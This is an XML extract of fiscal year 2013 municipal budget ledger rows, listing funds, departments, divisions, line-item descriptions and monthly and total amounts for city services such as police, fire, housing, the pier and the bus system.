<row _id="2840"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-34980.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-34980.0</total></row>
<row _id="2841"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>305</division_id><division_name>OPERATIONS DIVISION</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-34302.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-34302.0</total></row>
<row _id="2842"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>SPECIAL ENFORCEMENT DIV</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-27896.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-27896.0</total></row>
<row _id="2843"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-92309.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-92309.0</total></row>
<row _id="2844"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-24518.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-24518.0</total></row>
<row _id="2845"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>616</division_id><division_name>PUBLIC AND BRANCH SERVICES</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-15960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-15960.0</total></row>
<row _id="2846"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>457</division_id><division_name>AIRPORT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-2261.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2261.0</total></row>
<row _id="2847"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>265</division_id><division_name>PCD - ADMINISTRATION</division_name><object>404900.0</object><object_description>TMP FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>0.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2848"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object xsi:nil="true" /><object_description>SECTION 8 - FSS FORFEITURES</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-5500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5500.0</total></row>
<row _id="2849"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2177.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2177.0</total></row>
<row _id="2850"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>253692.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3072</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>256764.0</total></row>
<row _id="2851"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>9170.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>114</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>9284.0</total></row>
<row _id="2852"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>533090.0</object><object_description>PROJECT MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="2853"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>405610.0</object><object_description>LAWN BOWLING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-1673.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1673.0</total></row>
<row _id="2854"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>563126.0</object><object_description>WISE CONGREGATE MEALS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>233567.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>233567.0</total></row>
<row _id="2855"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562431.0</object><object_description>SHP-NEW DIRECTIONS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>44605.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>44605.0</total></row>
<row _id="2856"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>562433.0</object><object_description>SHP-STEP UP</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>87765.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>87765.0</total></row>
<row _id="2857"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405690.0</object><object_description>SALE OF ADVERTISING PANELS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-20000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-20000.0</total></row>
<row _id="2858"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>569290.0</object><object_description>FIRE TRUCK MAINTENANCE REIMB</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>421306.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>421306.0</total></row>
<row _id="2859"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>6000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6000.0</total></row>
<row _id="2860"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>408260.0</object><object_description>AHPP COMP MONITOR-ANNUAL FEE</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2013</fiscal_year><july>-127470.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-127470.0</total></row>
<row _id="2861"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>211122.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>2111</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>213233.0</total></row>
<row _id="2862"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>208</division_id><division_name>BUDGET DIVISION</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>41260.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>41260.0</total></row>
<row _id="2863"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>522550.0</object><object_description>AD POSTINGS (CCB)</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>36000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36000.0</total></row>
<row _id="2864"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>408330.0</object><object_description>LANDSCAPE &amp; IRRIG ON-SITE INSP</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-8000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8000.0</total></row>
<row _id="2865"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>248</division_id><division_name>COMMUNITY BROADBAND</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-5750.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5750.0</total></row>
<row _id="2866"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>22</fund_id><fund_name>COPS Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>100000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="2867"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24990.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24990.0</total></row>
<row _id="2868"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>24500.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>24500.0</total></row>
<row _id="2869"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2625.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2625.0</total></row>
<row _id="2870"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>401311.0</object><object_description>CONTRACT CLASSES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-30000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-30000.0</total></row>
<row _id="2871"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>577346.0</object><object_description>HAP PORT-IN</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>300000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>300000.0</total></row>
<row _id="2872"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17525.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>216</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17741.0</total></row>
<row _id="2873"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>27733.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>27733.0</total></row>
<row _id="2874"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>15379.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>15379.0</total></row>
<row _id="2875"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object xsi:nil="true" /><object_description>EMPLOYEE HEALTH CONTRIBUTION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-8859.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-8859.0</total></row>
<row _id="2876"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2877"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>101.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>101.0</total></row>
<row _id="2878"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>16439.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>16439.0</total></row>
<row _id="2879"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>322</division_id><division_name>CODE COMPLIANCE</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3800.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3800.0</total></row>
<row _id="2880"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>403721.0</object><object_description>SERIAL INEBRIATE GRANT LEASING</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-450778.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-450778.0</total></row>
<row _id="2881"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577724.0</object><object_description>ST JOE HPSHP-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>72469.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>72469.0</total></row>
<row _id="2882"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>19</fund_id><fund_name>CDBG Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>577727.0</object><object_description>WCIL HOME ACCESS PROG-CDBG</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>36644.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>36644.0</total></row>
<row _id="2883"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>555397.0</object><object_description>11 UASI GRANT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>152154.0</july><august>0</august><september>0.0</september><october>-62129.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>90025.0</total></row>
<row _id="2884"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1009.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>10</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1019.0</total></row>
<row _id="2885"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>209</division_id><division_name>OFFICE OF PIER MANAGEMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>713.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>713.0</total></row>
